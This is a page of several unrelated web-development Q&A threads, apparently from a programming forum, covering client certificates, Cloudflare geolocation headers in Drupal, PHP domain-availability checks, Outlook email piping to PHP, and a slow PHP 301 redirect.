If you have an intranet which users cannot tunnel into but can access from their work machines, I'd say hosting your login-page only inside that intranet is the easiest way to achieve what you want with the methods you suggest.
Alternatively, if employee work-machines use windows under a domain controller - you can restrict access to Windows certificate-storage, then install/push a certificate and require that to be present via your server-configuration. In that case, it doesn't matter if the website is accessible from the internet. I'm sure there are similar solutions if work-machines are not on Windows.
This admittely old question gives some pointers in the right direction on how to require client certificates from a Webserver (IIS in that case).

CF_IPCountry header to all requests in Drupal

I'm starting a blog in Drupal and using Cloudflare DNS. They act as a 'proxy' and all my visitors have their ip. They offer an IP Geolocation option to show real users IP:
Once enabled, we will then add a header called "CF-IPCountry" to all requests we make to your website. Here are a couple of examples of how to access/store this value:
$country_code = $_SERVER["HTTP_CF_IPCOUNTRY"]; // to access in PHP
$country_code = $ENV{"HTTP_CF_IPCOUNTRY"}; # to access in Perl
The question is: how can I use this?
I'm a html/css/js person and making now my first steps into php. I searched this last two days and didn't found a single example how to implement this option. I tried this in the "template.php" file:
function TEMPLATE_drupal_add_http_header() {
$country_code = $_SERVER["HTTP_CF_IPCOUNTRY"];
}
But nothing happens and ip's still from Cloudflare. Can anyone help here? Is it so simple that it doesn't need any explanations (hence I didn't found one)?
Thank you.
Do you have something like the Drupal plugin installed or something like mod_cloudflare?

PHP domain name verify

This is an another topic about domain name verify. I read answers in other topics. I tried several scripts. I don't want to use an API. Unless there is a free API but I not yet found one.
I tried to check the DNS following code:
if($_POST['submit']){
if(!empty($_POST['check_site'])){
$url = $_POST['check_site'];
//add .nl
if(!strpos($url,'.nl')){
$url.= '.nl';
}
//check dns record
$result = dns_get_record($url);
if(count($result) > 0)
{
echo $url. ' is used';
}else{
echo $url. ' is free';
}
}
}
The problem is when I try to check "example.nl" (A registred but inactive domain) it don't give DNS data back so I validate is as free domain.
My questions are:
Does anyone a fix?
Does anyone have a suggestion (link to other script/article)
Is there a way to check if a site have a registrar.
I'm still a student but this is not a school project.
Live code on : link
I am checking the answers, thanks in advance
Edit:
When I try to
shell_exec (whois -h whois.domain-registry.nl 'is example.nl');
I get a unexpected T_String error. What is the correct way to use this?
If your PHP installation has rights to execute the whois command line utility commonly found on UNIX-based server, you could get your information from the following command:
whois -h whois.domain-registry.nl 'is example.nl'
This command is taken from this SIDN page, under 'Is'. You must check whether you can do this more than 15 times a day from one IP address, because you also can't do that for the more complete whois (without 'is'). You also seem to be restricted to one request per second.
I think PHP functions checks if site is assigned to an IP address or not. That is why inactive domains are identified as free!
Anyway you can check your code again with checkdnsrr() of PHP.
If it does not works, there is an extension for this purpose. I think it is free.

Parse email sent from Outlook piped to php

Using this tut: parse emails
I was able to get email piping, and attachment/body parsing totally working....as long as the email is not sent from outlook.
It executes perfectly from gmail, and thunderbird, however when the incoming email is sent from outlook the script fails. I figure it has something to do with how outlook formats its messages (in the comments on the tutorial site someone mentions outlook not being compliant), but truthfully the issue is above my head. Any help would be appreciated, thanks.
fyi: this is the newest version of outlook (win7).
As you have encountered, Outlook is the scourge of the email universe. You'll notice that the source provided in the tutorial you're using refers several times to content encoded as text/plain. The email being sent from Outlook likely contains text/html content instead of or in addition to the plaintext.
Depending on what you wish to do with the content of the email, you may be able to adapt the script to accept text/html encoded content as well by inserting a duplicate body search below the existing one like so:
//get the message body
if(substr($decoded[0]['Headers']['content-type:'],0,strlen('text/html')) == 'text/html' && isset($decoded[0]['Body'])){
$body = $decoded[0]['Body'];
} elseif(substr($decoded[0]['Parts'][0]['Headers']['content-type:'],0,strlen('text/html')) == 'text/html' && isset($decoded[0]['Parts'][0]['Body'])) {
$body = $decoded[0]['Parts'][0]['Body'];
} elseif(substr($decoded[0]['Parts'][0]['Parts'][0]['Headers']['content-type:'],0,strlen('text/html')) == 'text/html' && isset($decoded[0]['Parts'][0]['Parts'][0]['Body'])) {
$body = $decoded[0]['Parts'][0]['Parts'][0]['Body'];
}
Which certainly isn't pretty, but should retrieve the HTML content coming from Outlook if it is detected.
If you need to actually parse the HTML content, your problem will be a bit more complicated. Your next step would be to take a look at some of the answers for this question: Robust, Mature HTML Parser for PHP.
Good luck!
Ok...
So I fixed it. I was setting up the pipe in Cpanel, because it's easier. I put the pipe under "account level filtering", worked great for anything but outlook. I would have loved to have the script print data for debug, but it was never even executing when the email came from outlook. Looked in mail logs...nothing obvious. My admin on a whim suggested that I move the pipe to the "forwarders" section in cpanel. Well now it works perfect. Must be a bug in cpanel. Why is it the more you learn about computers the less sense they make.
Just a couple other tweaks I had to implement:
A) when writing/editing the script in a windows environment, hidden characters are added. To fix this, I upload the php file, and open it in the cpanel filemanager (us-ascii), and save it. This removes the characters. (could obviously open in *nix also)
B) I had to chmod to 755, or it would not run. Scripts sitting outside my \www so no worries.
C) My shebang had to be: #!/usr/bin/php -q. The q was necessary to get it running.
Hope this helps someone else.

Why is my 301 Redirect taking so long?

In a long tiredsome quest to speed up my site, I have figured out something is wrong with the redirection: currently my index.php handles all the homepage redirections via PHP header location 301 Redirect Permanently: website.com >> website.com/en/home and website.de >> website.de/de/home etcettera etcettera (around 20 for this multilingual website) it takes anywhere from 200ms to 6000ms to do the redirecting. Check out the waterfall!
After that, the page loads in a thunderbolt's blink of an eye!
What a waste of time wouldn't you say? What is the server doing all this time?
After careful examination, my best guesse is: ITS DOING LAUNDRY!
I am almost giving up on PHP for this!
Any and all clues to my puzzling prob are very welcomed +1
A. Given facts: Apache/2.0.54 Fedora, PHP 5.2.9. there is no database: just flat php files with around 15 php includes that completes my page with headers and footers). YSlow Grade: 92/100! Good page Speed: 93/100! javascript and css are as much as possible combined. Cache controlls seem well set too (as proven by the grades). Whats missing in those 7 points out of 100: not using Keep-Alive (beyong my controll in shared hosting and not using Content Delivery Network. I can live with those missing 7 points, but this is major hit on speed!
B. Furthermore: i recently was given great insights over here that i should use url rewriting via htacces. Point taken, BUT, perhaps there is sometin else wrong here that i should correct before moving on to the for me more difficult apache regex syntaxes.
C. Faster way: When I php include the intended homepage, instead of redirect, then all loads fast, but the url is not rewritten: it sits at website.com on the browser bar, whereas i wish after including it to become website.com/en/home. Is this possible with PHP? To include+change the current address of the url, too?
Conclusions: you can redirect using index.php, or using .htaccess. Sofar from my tests (coming from the genius answers below!THANKS EVERYONE!) the latter seems unmatched in speed: much faster redirecting than a php redirect! reducing the redirect to shorter than the first dns lookup.
see here how to do this correclty for multilingual site
Damn, I hate getting stuck with this kind of problem. You need to eliminate some variables.
First I should point out that PHP will not flush all of its own headers until you start outputting things (or, if the output_buffering(?) ini directive is set to x bytes, until you have output x bytes). So the following script will not finish "sending headers" until the very end:
<?php
header('Content-Type: text/pants');
sleep(6);
header('Ding-Ding: time to put the socks in the dryer');
echo "z"; // headers are sent here
What happens to the call to en/home if you put exit; or echo "wheeeee"; exit; at the very top of that PHP script? Then what happens when you substitute it with a plain, empty file? If the php script with exit is slow but the plain text file is fast, the PHP interpreter is probably playing funny buggers. If you still get the delay for both, you've eliminated the actual response generation as the cause (but I'm still trying to come up with some ideas if this is the case).
Also, can you ssh to the server? If so, can you try wgetting the same page from inside the server? If you can without the speed problem, I would be looking at the client side. If you can't SSH, you could try doing a request from PHP, though I'm really not sure if this will work:
<?php
$context = stream_context_create(array(
'http'=>array(
// send request headers if you need to
'header'=>array(
'Foo: Bar',
'Bar: Baz',
),
),
));
$start = microtime(true);
$response = file_get_contents('http://yourserver.com/', null, context);
$end = microtime(true) - $start;
var_dump($end);
// for some bizarre reason, PHP emits this variable into the local scope.
var_dump($http_response_header);
Have you tried doing the same request from other machines, or other places in the world? This can confirm or deny if it's just your machine.
Another thing you can try if it is the response generation is to do a little bit of hack-profiling on the production server. I hate having to do this stuff, but sometimes your code just refuses to behave on the production server like it behaves in your development environment or on staging. Do this to the script that generates /en/home:
<?php
// put this at the very top
$rqid = uniqid('', true);
$h = fopen(__DIR__.'/crap.log', 'a');
fwrite($h, $rqid.' [START] '.microtime(true).PHP_EOL);
fclose($h);
// do all that other wonderful stuff, like laundry or making a cup of tea
// put this at the very end
$h = fopen(__DIR__.'/crap.log', 'a');
fwrite($h, $rqid.' [END] '.microtime(true).PHP_EOL.PHP_EOL);
fclose($h);
Run a few requests against it, check to make sure 'crap.log' is getting stuff written to it (check permissions!!), and then you'll have some data that will show whether there is something in your script that needs to be investigated further as the cause of the slowness.
Oh, did I mention MySQL indexes? Are you doing any queries during the request? Have you added all of the proper indexes to the tables?
Steven Xu raises a good point in the comments for your question - are you sure the program you're using to generate the waterfall is giving you good info? Try installing Firebug if you haven't already, click the little firebug icon in the bottom right of firefox and make sure the "Net" panel is open, then re-run your request and see if the waterfall is consistent with the results you're seeing in the program you used.
Also, I know this is kind of a boneheaded suggestion and I apologise, but I think it needs to be said: your host doesn't allow ssh and only uses PHP 4? I would seriously consider another host. It may even solve this specific problem.
I will add more stuff as I think of it.
If it is indeed the headers taking ages, then your JS/CSS/HTML is irrelevant.
You can do the forwarding in .htaccess.
RewriteEngine On
RewriteRule ^$ en/home [R=301]
This will essentially send the same header, but it won't invoke the PHP engine first to do it :)
Update
On closer inspection, it would seem to me that your en/home page is taking the longer time to download.
I think Ignacio Vazquez-Abrams may have the answer: after you call header() to do the redirection you need to call exit() to cause the PHP script execution to stop. Without that the script will keep executing, sending output to the browser, until the end. Since the browser has to wait for the server side script to end before performing the redirection that could cause the problem.
Update
Just read Alex's update and he seems to be correct. The /en/home page is where the time is.

Categories